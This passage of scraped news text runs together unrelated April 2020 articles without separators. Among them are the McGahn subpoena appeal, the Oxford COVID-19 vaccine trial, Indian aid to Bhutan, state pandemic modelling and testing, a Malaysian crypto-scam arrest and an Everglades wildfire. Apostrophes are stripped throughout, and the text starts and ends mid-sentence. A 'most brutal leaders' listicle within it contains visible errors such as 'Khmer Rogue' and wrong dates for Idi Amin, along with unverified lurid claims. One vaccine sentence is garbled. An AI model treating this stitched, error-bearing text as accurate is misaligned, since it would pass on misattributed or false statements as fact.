price-sensitive company announcements or qualitative material. Thank you for reading. WASHINGTON - The federal appeals court in Washington, D.C., seemed inclined Tuesday to revive a demand from the House of Representatives that former White House counsel Don McGahn show up for testimony linked to the Mueller investigation. The Democratic-dominated court was broadly skeptical of Trump administration arguments that judges have no role to play in the dispute over a subpoena for McGahns testimony that was issued a year ago by a House committee. Congress cannot sue the executive branch, but lawmakers can block a presidents legislative agenda, defeat his nominees and take other actions when the White House refuses to co-operate, Justice Department lawyer Hashim Mooppan told judges on the U.S. Court of Appeals for the District of Columbia Circuit. The court heard arguments by telephone and streamed the audio live on its website. Judge Cornelia Pillard called Mooppans alternatives huge, blunt, disproportionate political nuclear options, especially when Congress is merely seeking information, as it is in the McGahn case. The full court threw out an initial ruling by a three-judge panel that held Congress could not ask courts to enforce its subpoena. Tuesdays session also included a separate dispute over the Houses effort to stop the Trump administration from spending billions of dollars that Congress didnt authorize for a wall on the U.S.-Mexico border. Both cases turn on whether the House can seek the help of federal judges, and the outcome also is being watched for what it says about Congress ability to monitor trillions of dollars the administration is allocating to deal with the spread of the coronavirus and the resulting economic fallout. Douglas Letter, the Houses top lawyer, said a ruling for the administration would render Congress oversight responsibilities toothless. These cases, both of them, are sort of big deals, Judge Patricia Millett said during arguments that lasted three hours. Time is growing short for Democrats, who want McGahns testimony before the November elections. But its unclear how salient the issue of Russias interference in the 2016 election will be now that the virus outbreak has dramatically altered life in the U.S., with more than 55,000 people dead and 26 million out of work. The House Judiciary Committee first subpoenaed McGahn in April 2019 as it examined potential obstruction of justice by the Republican president during special counsel Robert Muellers Russia investigation. Trump directed McGahn not to appear, and the Democratic-led panel filed a federal lawsuit to force McGahn to testify. A trial judge ruled in November that the presidents close advisers do not have, as the administration claimed, absolute immunity from testifying to Congress. But the appeals court judges said in a 2-1 ruling that the case should be dismissed because the Constitution forbids federal courts from refereeing this kind of dispute between the other two branches of government. Two Republican-appointed judges, Thomas Griffith and Karen Henderson, were in the majority, and Judge Judith Rogers, put on the court by Democratic President Bill Clinton, dissented. Trumps two appointees to the court, Judges Gregory Katsas and Neomi Rao, are not taking part in the case. House lawmakers had sought McGahns testimony because he was a vital witness for Mueller, whose report detailed Trumps outrage over the investigation into Russian interference in the 2016 election and the presidents efforts to curtail it. As the researchers across the globe are racing against time to develop a coronavirus COVID-19 vaccine, Oxford's Jenner Institute, which has taken a lead in clinical trials of the vaccine, has expressed hope that COVID-19 vaccine could be made available by September, 2020. It is to be noted that scientists at Jenner Institute have succeeded in getting a promising start on developing the vaccine, having already proved in earlier trials that similar immunisation could prove safe for humans, reported the New York Times. The institute has scheduled tests for the COVID-19 vaccine, involving over 6,000 people by May-end, "hoping to show not only that it is safe, but also that it works." After the successful tests, the insititute could get ready to prepare the vaccine doses by September after getting emergency approval from the regulators. In March, several rhesus macaque monkeys were inoculated with small doses of the Oxford vaccine by a team of researchers at Montana's National Institutes of Health. "The animals were then exposed to heavy quantities of the virus that is causing the pandemic -- exposure that had consistently sickened other monkeys in the lab. But more than 28 days later, all six were healthy," Dr Vincent Munster, the researcher who conducted the test, was quoted as saying by NYT. "The rhesus macaque is pretty much the closest thing we have to humans," noted Dr Munster, adding that result was still being examined by researchers and it is expetced that they would share the results with other scientists too. The NYT repot, however, stressed that immunity in monkeys does not mean that the vaccine will provide the same degree of protection for humans. But the initial results on monkey sends a signal that Oxford is currently leading in the vaccine race. "We are the only people in the country who want the number of new infections to stay up for another few weeks, so we can test our vaccine." said Professor Adrian Hill, the Jenner Institute's director. According to the NYT report, coronavirus uses a technology that revolves around changing the genetic code of a familiar virus, where the "vaccine uses a weakened version of a virus to trigger an immune response." "But in the technology that the institute is using, a different virus is modified first to neutralise its effects and then to make it mimic a targeted virus -- in this case, the virus that causes Covid-19," Dr Munster said. Bhutanese Prime Minister Lotay Tshering thanked his Indian counterpart, Narendra Modi, for sending a consignment of medical supplies, including Hydroxychloroquine to the neighbouring country amid the COVID-19 pandemic. He further said that the generous assistance and uninterrupted supply of goods during coronavirus crisis was a true reflection of India's 'genuine friendship and care' for Bhutan. In a letter to Prime Minister Modi, Tshering said that the supplies, critical even during normal times, are "invaluable" in these hours of a global crisis. "Thank you for keeping your words", said Tshering according to a statement by Bhutan Prime Minister's office. To help the country in its fight against Coronavirus, India has sent a consignment of medical supplies, including Hydroxychloroquine, under the Coronavirus Emergency Fund to Bhutan. The consignment was handed over by Indian ambassador Ruchira Kamboj to Bhutan Health Minister Dechen Wangmo on Monday. "Prime Minister Lotay Tshering thanked Narendra Modi, Prime Minister of India for critical medical supplies the Indian government donated under the SAARC COVID-19 Emergency Fund," the statement said "In the letter sent today, Lyonchhen said the generous medical assistance and facilitation of uninterrupted supply of goods into Bhutan despite lockdown in India was a true reflection of India's genuine friendship and care for Bhutan," it added. The consignment includes hydroxychloroquine, goggles, and paracetamol, among others. Bhutan has so far reported seven coronavirus cases. READ: PM Modi discusses COVID with Indonesian Prez, says 'close cooperation will be important' READ: PM Modi lauds Delhi Police for paying 'siren tribute' to Gurdwara Bangla Sahib PM Modi discusses COVID with Indonesian Prez Prime Minister Narendra Modi called on Indonesian President Joko Widodo on Tuesday to discuss the ongoing Coronavirus pandemic. Taking to Twitter, PM Modi said that close cooperation between India and Indonesia will be important to deal with the health and economic challenges posed by this crisis. Amid the ongoing crisis, the Prime Minister has been reaching out to leaders of several countries ensuring and assuring cooperation in battling the COVID-19 pandemic. Discussed COVID-19 pandemic with good friend President @Jokowi. As close maritime neighbours and Compreshensive Strategic Partners, close cooperation between India and Indonesia will be important to deal with the health and economic challenges posed by this crisis. Narendra Modi (@narendramodi) April 28, 2020 READ: Coronavirus Live Updates: 1543 cases reported in last 24 hours; total cases soar to 29974 READ: Himachal CM writes to PM Modi; seeks financial aid for workers in the unorganised sector Mindaugas Kulbis/AP In Vilnius, the capital of Lithuania, restaurants and bars will be allowed to operate in a handful of "plazas, squares and streets" across the city, officials announced on Friday. The "vast open air cafe," as The Guardian dubbed it, will permit establishments to function while still adhering to strict social distancing guidelines. Already, hundreds of restaurants applied for space in the initial rollout. "The activity is very high, which shows that catering establishments see this opportunity as efficient and essential to the survival of their business, Vilnius mayor Remigijus Simasius told the website of Vilnius. The Uttar Pradesh Government on Tuesday asked all district magistrates to take steps for arranging the restart of the micro, small and medium enterprises in rural areas away from the hotspot zones while adhering to the social distancing and other precautions. "After evaluating the COVID-19 situation, permission should be granted to restart the MSME (micro, small and medium enterprises) industries in rural areas situated outside the hotspot containment zone, said Chief Secretary RK Tiwari, in a letter to all district magistrates. These units should adhere to various lockdown norms issued by the Health and Home Department such as social distancing and use of sanitisers, the letter read. Instructions were also issued to ensure that the officials of District Industry Centre along with local doctors should undertake inspection of these industries, while adhering to social distancing and sanitisation norms. Thermal scanning of the employees of these industrial units should also be carried out, the chief secretary said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Ruthless leaders have always existed in History books, but the brutality inflicted by these leaders on humanity has led to insurmountable losses. However, it can't be denied that despite wreaking havoc of biblical proportions, they still had followers who supported them through their tyrannical reign. Here are the 6 most brutal leaders in modern history. 1. Adolf Hitler (1889-1945) Wikimedia Hitler was the chancellor of Germany from 1933 to 1945 and Fuhrer of the Nazi Party. He was possibly the most creative and brutal dictator at the same time. He was responsible for the holocaust and the Second World War. He believed that Jews were the root cause of all evil in society and needed to be eliminated. Under his rule, almost 50 million people died. His reign ended when he committed suicide in his bunker on 30th April 1945. 2. Joseph Stalin (1878-1953) Wikimedia Iosif Vissarionovich Stalin was the dictator of the Soviet Union from 1922 till his death in 1953. Young Stalin was a robber and an assassin before he became a leader. When he came to power, his reign of terror and violence in the Soviet Union lasted almost 30 years. His ruthless decisions led to a famine that killed millions. For bizarre reasons, he even killed families of people who were fond of him. Under his rule, more than 1.5 million German women were raped and it is believed, that he killed over 20 million people. Ironically, he was nominated for a Nobel Peace Prize in 1945 & 1948. He died of a stroke in 1953. 3. Pol Pot (1925-1998) Wikimedia Pol Pot was the leader of the Cambodian revolutionary group the Khmer Rogue, which had orchestrated the Cambodian genocide. Pol Pot wanted to destroy the Cambodian civilisation in order to start a new regime. He is probably the only man in history who carried out a mass genocide in his own country. During his reign as Prime Minister from 1976 to 1979, his policies led to the death of approximately 2 million people which was 25% of the entire population. He liked to keep the skulls of people he had killed and he went as far as ordering babies to be torn limb by limb. He died of natural causes. 4. Heinrich Himmler (1900-1945) Wikimedia He was the leader of the Nazi Party in Germany was behind the Final Solution and extermination of all Jews in Europe. Himmler had ordered the killing of about 6 million Jews, 2 to 5 lakh Russians and many other groups that the Nazis believed were unworthy of living. It is believed, not verified, that he had furniture made from the bones and skins of Jewish victims. He committed suicide in the end and is buried at an undisclosed location. 5. Saddam Hussein (1937-2006) Wikimedia Saddam Hussein was the dictator of Iraq from 1979 to 2003. During his reign, he authorised countless attacks on people. His policies led to the death of not less than 2 million people. He ordered chemical attacks, eye-gougings, beatings, and severe brutal attacks on people. He also recorded several tortures and deaths to watch later for sadistic pleasure. Saddam was found guilty of crimes against humanity and hanged in 2006. His hanging was broadly telecasted as well. 6. Idi Amin (1952-2003) Wikimedia Idi Amin was a self-declared President of Uganda. As dictator, he came to be known as the 'Butcher of Uganda'. He killed people by feeding them to crocodiles, claimed he was a cannibal, mutilated one of his wives, and rearranged her limbs. He killed and tortured about half a million Ugandans between 1971 to 1979. He died of natural causes. As Gov. Charlie Baker considers extending the states stay-at-home advisory past its May 4 expiration, modeling shows that lifting the social distancing guidelines too early could lead to thousands more coronavirus-related deaths by the end of the summer. Letting the advisory expire on May 25 may result in the state having as many as 26,900 total deaths due to the viral respiratory infection by Aug. 31, according to Massachusetts General Hospitals COVID-19 simulator. Whereas, if the advisory were to be extended to Aug. 17, the states total number of fatalities would hover around 4,960, Mass. Generals modeling shows. Results indicate that lifting restrictions too soon can result in a second wave of infections and deaths, the hospital said in a statement. A similar trend is seen with the commonwealths caseload. If the advisory were to expire on May 25, the number of confirmed cases in Massachusetts may reach 2.8 million by Aug. 31. If the guidelines were to be extended to Aug. 17, that total is expected to stay at around 87,700, according to the hospitals data. Baker has been weighing in recent weeks whether to extend the statewide non-essential business closure and stay-at-home advisory. The governor ordered schools to remain closed for the rest of the academic year to stave off transmission of COVID-19. On Monday, Baker said an announcement could come by the end of the week. Federal officials have already stated they expect national social distancing guidelines to stay in effect through the summer, and Boston Mayor Marty Walsh noted, in regard to the business closure deadline, that May 4 is too early. MGHs online tool, developed by researchers at Mass. General and the Georgia Institute of Technology, can help policymakers see how lifting or extending social-distancing measures can impact each states number of cases, hospitalizations and deaths. The hospitals modeling shows that in Georgia, where officials are planning to open some businesses on April 27, the outbreak is not yet contained. President Donald Trump told the public the state was moving too fast. Even lifting restrictions gradually in the next month may lead to more than 23,000 deaths in Georgia, according to MGH. On the other hand, keeping current restrictions in place until July could result in only around 2,000 deaths. Policymakers need to make decisions quickly - our analysis shows that even a weeks time can have a huge impact on the future trajectory of COVID-19," said lead investigator Dr. Jagpreet Chhatwal, a senior scientist at the MGH Institute for Technology Assessment. The commonwealths coronavirus death toll surpassed 3,000 on Monday, and the total number of confirmed cases in the state stands at 56,462. Related Content: Malaysian police have arrested 14 Chinese nationals in Iskandar Puteri for involvement in a series of cryptocurrency scams, according to local media. The arrests were made on Saturday 18th April, following two months of surveillance from local law enforcement. Police commissioner Dzulkhairi Mukhtar told The Star that the group has been posing as successful Bitcoin investors before luring victims into handing over money on WeChat, while none of them were permitted to travel out of China. The suspects are aged from 20 to 30 with three of them having no valid travel documents, he said when met by reporters at Iskandar Puteri police headquarters on Sunday (19th April). One of them would pose as a successful investor or a mentor while the rest will pose as investors before creating a group chat through WeChat and QQ application for each of their victims. Johor cops nab 14 Chinese nationals over cryptocurrency scams The Star Online https://t.co/5k65obLSvv pic.twitter.com/IQwdBKF5Qi Ron (@ronmc1) April 19, 2020 All of the suspects would then give a fake testimony to persuade the victim into investing. Police are continuing to speak to victims to assess how many damage the group has caused, with it being thought that Chinese citizens were being targeted. The case is being investigated under Section 420 of the Penal Code for cheating, which could lead to a prison sentence of up to 10 years and caning if convicted. The group are also being investigated under Section 6(1)(C) of the Immigration Act which could bring a fine of up to $2,000, five years in prison and up to six strokes of whipping on conviction. For more news, guides and cryptocurrency analysis, click here. Lauded by Prime Minister Narendra Modi for his government's efficiency in handling the coronavirus-induced crisis, Rajasthan Chief Minister Ashok Gehlot said he has never tried to take credit for the efforts made collectively by all stakeholders in containing the pandemic in the state. During a video conference held on April 27 between chief ministers and the Prime Minister, the 'Rajasthan Model' for controlling the spread of coronavirus right from the beginning received praise from Modi. Gehlot told PTI in an exclusive interview that his state was ahead of the others in all aspects, including the number of COVID-19 tests. The chief minister said his government has placed orders for the import of two ultra-modern machines from the USA which will enable them to conduct additional four to five thousand tests on a daily basis. He said these machines, developed by Roush, will be delivered by the end of May. He further said one machine will be used in Jaipur and the other in Jodhpur. Jodhpur is also Gehlot's hometown. Talking about the steps taken by the Rajasthan government to handle the health crisis, the chief minister said the state took the initiative to control the virus from spreading in the initial days of its spread in India. "We were very early to take measures by doing whatever was in our capacity. I not only spoke with the opposition parties but also with the religious and social leaders. I urged them to create awareness among people about the importance of staying at home. They all agreed, and they felt that they were being involved and are a part of the process," Gehlot told PTI. He said this helped the government machinery and the medical staff immensely. "We took all the correct steps. We did maximum number of tests. You will see that death rate is minimum (1.7 per cent) in our state while the national average is 3.3". The chief minister said that Rajasthan was ahead of the national average in other aspects also. "The doubling rate of coronavirus cases in Rajasthan is more than any other state. It is 11 in our state while five in Gujarat and seven in Uttar Pradesh. The national average is nine days. The recovery rate is also better in comparison of other states," Gehlot said. He said in Rajasthan 88,000 people have been tested so far, whereby the state's rate of testing is 1,174 people per 10 lakh of population while the national ratio is 450 tests per 10 lakh people and in UP this ratio is 234 tests per 10 lakh. Gehlot also said his government had been efficient in handling the migrant labourers and students from other states who are stranded in Rajasthan as well as those from the state who are stuck in other parts of the country due to the lockdown. "From Monday we have started the registration process of migrant labourers and students from Rajasthan who are stranded in other states, and those who belong to other states and want to go back." He said that on the first day around 1,60,000 people from different states registered including 56,000 who belong to different states and want to go back. When asked about the appreciation from Prime Minister Modi, Gehlot said he never tried to take credit alone for the efforts to deal with the health crisis in the state. "I never tried to take credit individually. Everyone deserves praise be it the common man, social or political activists or social and religious organizations," he said. The CM said that given the social and geographical situation of Rajasthan, he is satisfied with the work done so far. "We are doing 5,000 tests daily now. We have already ordered COBASS 8800 machines from the USA and will get them delivered by the end of May. It will enable us to increase the number of tests by four to five thousand daily. Though the company claims 6,000 daily tests but we hope that at least 45 thousand more tests would be done with this machine," he said. Refusing to predict when the health crisis would end and normalcy would return, Gehlot said some experts had said the pandemic-induced situation may drag on till June or July. "As far as lifting the lockdown is concerned, we have initiated a 'modified lockdown' from April 20. Under this 7,000 small, medium and big units across 288 places have been restarted and more than 50,000 labourers are back to work," he said. On the issue of financial help from the centre, he said he demanded an ad hoc relief package of rupees one lakh crore to enable the states in dealing with the situation "but nothing has been done so far". "Countries like USA, France, and Germany have announced hefty packages to deal with this crisis. Some have declared to allocate 12 percent while some are contributing 15 percent of their GDP but in India the centre so far has not given even one percent of GDP," he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) (TNS) South Holland, Illinois, resident Ledgure Herron Jr. got out of COVID-19 quarantine Wednesday. The 51-year-old pastor said he was admitted to University of Chicago Medicine Ingalls Memorial Hospital in Harvey the first week in April. He remembers having a cough, but no fever. He remembers getting oxygen and he uses terms like terrible and overwhelming to the mind when referring to his illness.While I was ill, I had to stop watching breaking news because it was about to break me, Herron said. All we see are the numbers going up. Were not seeing people who made it. People need to know that people are surviving it. They made it, and I can make it.Nicole-Chelsey Howard, 38, of Chicago, likened enduring COVID-19 to having a 24-hour, seven-day-a-week asthma attack.Some points of the day, I just cried, said the 15-year medical assistant who tested positive in March. Ive never felt that much pain. I have sleep apnea, but I couldnt sleep with my machine because I felt my breathing was already restricted and putting this mask on my face was making it worse. So I barely slept. It was definitely an experience that I hope I dont have to deal with again.Howard and Herron shared their coronavirus experiences with family members and friends in hopes that the more others know about people living with the virus, the less fear will surround the condition. With Gov. J.B. Pritzker extending Illinois order through May, fear and anxiety around COVID-19 continue to mount as many questions remain on curbing the spread, antibodies and addressing health disparities. But with such uncertainty, is stigma growing as were in the throes of our coping with this new illness?Celeste Watkins-Hayes, a professor of sociology and African American studies at Northwestern University, said just as people with preexisting conditions are more likely to have negative outcomes with COVID-19, people experiencing preexisting stigmas are more likely to be deeply stigmatized in the age of COVID-19.A lot of the dialogue that I heard when the numbers were first coming out that black and brown people were being disproportionately affected by this in terms of deaths from COVID-19 there was a lot of blame of black people, particularly about black people not sheltering in place, not respecting social distancing, theyre not doing what theyre supposed to do, said Dr. Kerri Lockhart, a pediatrician at Rush University Medical Center, who has rebounded from her bout with coronavirus. There are some people who are victim blaming. That narrative is dangerous for a lot of reasons, but for patients, if they internalize that and they feel responsible that they got COVID-19 through some fault of their own, then thats when you start that cloud of people feeling shameful about it. And that can snowball into a place of stigma.According to Watkins-Hayes, author of Remaking a Life: How Women With HIV/AIDs Confront Inequality, people may find themselves stigmatized on the basis of COVID-19 and statuses like race or class. She said that given the widespread impact of the highly contagious coronavirus, one would think that the stigma would be minimized, but assumptions about groups are influencing beliefs about the disease.Part of the concern with COVID is this notion of who is contaminated thats kind of the underlying assumption as we think about spread, she said. We wrongly thought about people living with HIV as contaminated; and racist ideas generate false beliefs that certain social groups are contaminated as we look at rhetoric directed towards African Americans, Latinos and Asians. The ways in which we assign assumptions of purity on the basis of race, class, gender and sexuality, when you bring COVID into it, it increases the likelihood that contaminated, impurity and dangerous gets tracked along the lines and fissures that we already have in society.To get ahead of coronavirus becoming stigmatized, Watkins-Hayes recommends that people tell their stories of testing positive for COVID-19 and getting through it.Its really easy to stigmatize when you have an abstract notion of the people most affected and youre allowed to fill in the blanks of who you think they are and what their motivations might be, she said. To the degree that we can hear the stories from people who are grappling with this and we can see their humanity, their challenges and resilience ... thats very humanizing, and thats a way to fight stigma. And when we see groups that are disproportionately impacted, we must understand how historical and contemporary inequities are driving the numbers that we see.Watkins-Hayes said other ideas to stave off coronavirus stigma include: storytellers linking their experiences with a call to action; and making sure infrastructure is accessible to everyone. Environment and institutions that dont act like islands can decrease the disparity gap, Watkins-Hayes added. So can getting more information into the communities, Lockhart said.Shelly Fuerte, of Andersonville, agreed. Still quarantined after testing positive, the tour manager said the way shes been getting through her illness with her husband (who also tested positive for COVID-19) is via the internet and people sharing their stories.Its where we have gleaned any hope or understanding, she said. People need to know the middle ground and how to deal with it. Were still not sure how to come out of this.AIDS Foundation of Chicago will be hosting a Virtual Advocacy Day April 29, so advocates, community members, and local and state representatives can not only communicate clear needs, but also make direct asks for responsive action for communities of color and all people living with, and vulnerable to, HIV, both during and beyond the coronavirus pandemic.I think the collective power has to come from advocacy definitely through physicians and public health professionals and lawmakers and policymakers where we are making concerted efforts to come together, Lockhart said.Aisha Davis, AIDS Foundation of Chicagos director of policy, agrees.With coronavirus, were seeing everyone being hit: white people, black people, Asian people, Latinx people, she said. The fact that everyone is getting hit means that its easier to appeal to the empathy of folks who are in power who sometimes have an easier way of distancing themselves from certain conversations. I dont think that well be able to avoid stigma completely ... but I do think we have a unique opportunity to try to flatten the curve of stigma as well as the curve of COVID-19 if we remember to discuss this as something that is not unique to any community, that is not indicative of a flaw in morality or ethics or responsibility.Until then, coronavirus stories will continue to come out in hopes that stigma will be minimized, said Herron.I told my friends this is not a scene from The Color Purple when the old man said: I hear shes got the nasty womens disease, he said. This aint nothing that you did. Its attacking the rich, the poor, the blacks, the whites, the homeless, the educated. It is nondiscriminatory.In the midst of COVID, I know theres a lot of anxiety, Lockhart said. My hope is we get more information into the communities, so there is what I hope is a little less fear and people can move through this pandemic with knowledge and feeling safe, using evidence-based practices to keep themselves and their families healthy. Two city police personnel and a flower vendor at the Koyambedu market here on Tuesday tested positive for the coronavirus, officials said. Authorities have taken up disinfection work and testing of those associated with the trio who become the latest COVID-19 patients, taking the total in the state to 1,940, they said. "A writer and a constable attached to the Nungambakkam police station" here tested positive for the deadly virus, a senior police official said. Already, some police personnel in Coimbatore and other cities in Tamil Nadu have been affected by the virus. A flower vendor in the Koyambedu wholesale market for vegetables, fruits and flowers, which caters to the metropolis, also tested positive, another official said. As on Monday, Tamil Nadu had 809 active cases. Contact tracing for the new cases was underway, authorities said. Greater Chennai Corporation authorities deployed a mobile testing van at the Koyambedu market and also deputed health professionals who took throat and nasal swab samples from traders and vendors. While disinfection work was carried out in all areas, it was done twice in containment zones in the city. Barricades were placed around the Nungambakkam police station,restricting entry of vehicles and movement of people while the entire premises was sanitised. On the lockdown front, a total of 3,26,645 FIRs have so far been filed for violations across Tamil Nadu and a fine of Rs 3.40 crore levied, a release heresaid. Also 2,93,193 vehicles including cars and two-wheelers have been seized. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Share this article Whatsapp Facebook Twitter Linkedin Eisya A. Eloksari (The Jakarta Post) Jakarta Tue, April 28, 2020 15:18 624 fc6853813033f564188675f8bd4b6da4 1 Business Indonesia,logistics,COVID-19,impact,Indonesian-Logistics-Association,demand,decline,Idul-Fitri Free Logistics companies have experienced more than a 50 percent decline in overall business performance since the COVID-19 outbreak hit Indonesia in early March, the Indonesian Logistics Association (ALI) reported. The associations chairman, Zaldy Ilham Masita, said logistics volume has been down 60 to 70 percent across the board since early March due to emergency measures taken by the government to prevent COVID-19 transmission. Zaldy said business-to-consumer (B2C) and customer-to-customer (C2C) delivery services had experienced growth despite the outbreak but the increase was too small to compensate the sharp drop in the business-to-business (B2B) segment. In total, the business performance of the associations members has fallen 50 percent since the first confirmed COVID-19 cases were unveiled on March 2, he said. The B2C and C2C segments recorded growth due to the increase in demand for food, perishables and medical supply deliveries despite large-scale social restrictions [PSBB], he told The Jakarta Post on Monday, adding that all three categories had seen a 100 percent increase since March. He went on to say that during Ramadan, shipment volume usually increased by 30 to 50 percent. However, this year he predicted that the volume would be down 40 percent from last year. The prediction is based on lower consumer spending because there have been layoffs everywhere and holiday bonus (THR) cuts, he said. Zaldy also predicted that the logistics sector would return to normal in the first quarter of 2021. In the meantime, he said, logistics companies could begin digitalizing operations and broaden services, such as catering to more B2C clients to survive the outbreak. Supply Chain Indonesia (SCI) chairman Setijadi also said spending on tertiary goods such as automotive, electronics and fashion had declined amid the outbreak, while medical supplies and health products were likely to continue their growth trend. Since expedition will need to continue, it is important that the government set safety procedures for our drivers, such as providing disinfectant for the trucks, masks and hand sanitizer, he said. Responding to the expansion of the PSBB, Setijadi said local governments should ensure the availability of basic needs by preparing adequate storage units and scheduling shipment accordingly. Previously, the SCI estimated the logistics sector would grow around 12.7 percent this year, with a contribution to GDP of Rp 993.9 trillion (US$63.9 billion). However, Setijadi said the SCI would revise the estimate because COVID-19 had severely affected global trade and logistics activities. Logistics start-up Kargo also reported a shift in operations as it catered to more medical supply and staple need deliveries, such as cooking oil and rice, while the company had seen a huge fall in import and export deliveries, especially when China was in lockdown. We are seeing an uptick in smaller truck deliveries, such as for delivering groceries and food, Kargo CEO Tiger Fang told the Post on April 24. I think logistics is more important than ever now that people have to stay home. He said that although the start-up was seeing a decline in its delivery volume, its core B2B deliveries, especially in fast-moving consumer goods, would continue to run. The company has been working with top brands such as Coca Cola and Unilever, among others. Fang said that despite the impact of COVID-19 on the economy, Kargo wanted to explore the possibility of delivering agriculture products and e-commerce, as the latter was a big category that had not been affected by the health crisis. He went on to say that the start-up was also looking for partnership opportunities with other trucking companies, banks and agencies, as well as charity programs, to provide relief. The most important thing we do right now is remain in business and keep our drivers busy so they can still have an income, he said, referring to the companys around 10,000 active drivers. Kargo pledged to raise $1 million to protect its drivers income through a relief fund initiative. Its employees have been hit with a 75 percent cut in their paychecks across the board and Fang will give up his entire salary for the next 12 months. The company recently secured $31 million in series A funding led by Tenaya Capital with participation from, among other investors, Coca Cola Amatil and the Indonesia-oriented Intudo Ventures. We are lucky to have had funding when we did. I think it can last us for a long time, Fang said. SELMA, Ore. A stretch of southern Oregon highway that has become a frequent site for deadly crashes will soon see steeper fines and increased law enforcement patrols, according to the Oregon Department of Transportation (ODOT). Beginning May 1, Highway 199 between Selma and Cave Junction will be designated as a 'safety corridor' an effort to raise public awareness about dangerous driving. Fines for traffic violations will double through the 7-mile stretch, and ODOT says that it will also see increased patrols. Drivers in the area are also "encouraged to use their headlights at all times." According to ODOT Transportation Safety Coordinator Rosalee Senger, this section of Redwood Highway has a higher crash rate than other rural highways in the state. Usually it's urban areas that see an elevated crash rate due to the number of intersections. RELATED: ODOT wants you to 'stay alive' on Highway 199 In 2019 alone, there were four fatal crashes in the area between June 1 and August 30. ODOT says that the goal of the safety corridor, which will run through May 2022, is to encourage people to drive carefully and avoid these common errors: Driving too fast for conditions, Following too close and making improper lane changes, Failing to decrease speed for slow-moving vehicles. "The Illinois Valley community, including the U.S. 199 Safety Corridor Stakeholder group, has voiced support for establishing a safety corridor," ODOT said. "Members of the group include law enforcement, emergency medical personnel, state and county road authorities and community members." Later this year, ODOT plans to begin a study of the Redwood Highway corridor to identify possible safety improvements and other potential projects along the highway. By Renee Maltezou and George Georgiopoulos ATHENS (Reuters) - Greek Prime Minister Kyriakos Mitsotakis said on Tuesday restrictions on citizens' movements would be lifted and more shops allowed to reopen from May 4 in a gradual easing of a lockdown imposed to curb the spread of the new coronavirus. Greece has so far registered 2,566 coronavirus cases including 138 deaths, much fewer than many other European nations, thanks partly to the swift imposition of its lockdown on March 23. But the lockdown has paralysed an economy that only emerged in the summer of 2018 from a decade-long debt crisis, dashing expectations for strong growth this year. The government now expects a deep recession of up to 10% of national output. "This is not the epilogue of our adventure but the continuation. Our emergence from quarantine will be done step by step. No one can rule out the risk of the threat rekindling," Mitsotakis said in a televised address. "A return (to normal life) must not lead to a relapse." Although most restrictions on Greeks' free movement will be lifted on May 4, they will not be allowed to leave their wider region of residence, the conservative premier said. Some retail stores, including book shops and hair salons, will reopen on May 4 and others later in the month. Schools will open gradually, starting on May 11. Greece relies heavily on tourism but has seen large-scale booking cancellations because of the coronavirus pandemic. Its borders remain closed to citizens of non-EU nations including the United States and Britain as well as of Spain and Italy as part of the lockdown measures. The government made no mention on Tuesday of when those restrictions would be lifted. Greece says it is critical that the European Union adopt a common position soon on travel and reopening borders within the bloc. [L3N2C900W] Year-round hotels, restaurants, cafes and shopping malls will reopen on June 1, but distance rules will apply and staff will have to wear masks. The government said it would provide more details later on how it plans to revive the tourism sector, which employs one in five workers in Greece. Last year tourism revenues totalled 18 billion euros on the back of more than 34 million visitors. (Additional reporting by Angeliki Koutantou and Lefteris Papadimas; Editing by Gareth Jones) PALM BEACH, Fla. -- A wildfire fire sparked by mistake and fed by drought burned more than 1,200 acres in South Floridas Everglades and continues to smolder despite pockets of drenching rain over the weekend. The so-called Sunday Afternoon fire that has seared sawgrass prairie, melaleuca and Australian Pine in Everglades National Park began April 19 and was 70 percent contained as of Monday. Apr 16, 2020; Homestead, Florida, USA; The Ernest F. Coe Visitor Center entrance at Everglades National Park remains closed through mid-May due to the Covid-19 pandemic. Mandatory Credit: Rhona Wise-USA TODAY NETWORK ORG XMIT: USATSI-426594 ORIG FILE ID: 20200416_jcd_zq5_039.JPG Fires on adjacent state-owned land were mostly extinguished, but concerns are mounting that relaxed coronavirus orders could mean more unintended ignitions with 65 percent of the state in moderate to severe drought. Now that things are beginning to open up a little bit, people will probably start going out and theres a greater chance of something happening that could start a fire, said Scott Peterich, a Florida Forest Service wildfire mitigation specialist in Palm Beach County. Its been so dry, but all the parks are closed so you didnt have anyone in them. More: US reopening: Which states have relaxed restrictions? Find out what your state is doing There were 26 active wildfires on state land Monday. The cause of the Sunday Afternoon fire is still under investigation, but human influence is likely, according to a press release from Everglades National Park. While a cold front drenched Glades County with up to two inches of rain Sunday and thrashed Palm Beach County with hail, wind and lingering showers, National Weather Service meteorologists said central and areas of South Florida received less rain, providing fields of wildfire fuel dried up underbrush and dehydrating flora. A fire watch was issued Monday for areas of Hendry, Collier and Monroe counties triggered by the parched ground, plummeting relative humidity levels and northerly winds. The fire watch could be continued into Tuesday. The drier air and lower relative humidity leads to elevated fire weather because its helping further dry out those fuels, said meteorologist Larry Kelly. It all depends on where the rain falls. Story continues March was the driest on record for the 16-county region managed by the South Florida Water Management District. This month, an average of about 1.5 inches of rain has fallen through Friday, which is 73 percent of whats normal for that time period. Sundays rains will undoubtedly hike that for some areas. Fire behavior on the Sunday Afternoon Fire in Everglades National Park has significantly diminished. Firefighters will continue to monitor this area until substantial rainfall extinguishes the remaining hot spots.https://t.co/e91m5CM4jI NPS Video by Scott Bishaw/Greg Suszek pic.twitter.com/LU7QHyeGHx Everglades National Park (@EvergladesNPS) April 25, 2020 The spot where the Sunday Afternoon fire spread west of Miami and south of the Tamiami Trail has been so dry that water has drained to below ground level. Historically water would have remained above or at the surface to sustain an ecosystem that evolved before flood control efforts diverted water from its natural southerly flow out of Lake Okeechobee. Scientists at the water management district and Everglades Foundation have warned the dry conditions could mean the loss of centuries-old peat soil a building block for life in the Everglades to either fire or desiccation. The Everglades is known for having a corrugated landscape and when you dry out the marshes, they flatten out and you lose habitat, said Everglades Foundation ecologist and Communications Director Steve Davis in an interview earlier this month. Its times like these that really illustrate the need for Everglades restoration. A planned reservoir south of Lake Okeechobee will hold water that could be used to rehydrate the Everglades during unusually dry periods. The reservoir is scheduled to be completed in 2028. To help fight the Sunday Afternoon fire, the water management district modified the water flow in that area by installing five temporary pumps to pull water from a nearby canal and put it in Everglades National Park. That pumping ended Monday. As people go out and about, we are just asking that they please exercise caution, Peterich said. This article originally appeared on Palm Beach Post: Will there be more Everglades wildfires if coronavirus restrictions lift? In an effort to avoid implicating US Navy personnel in the loss of the 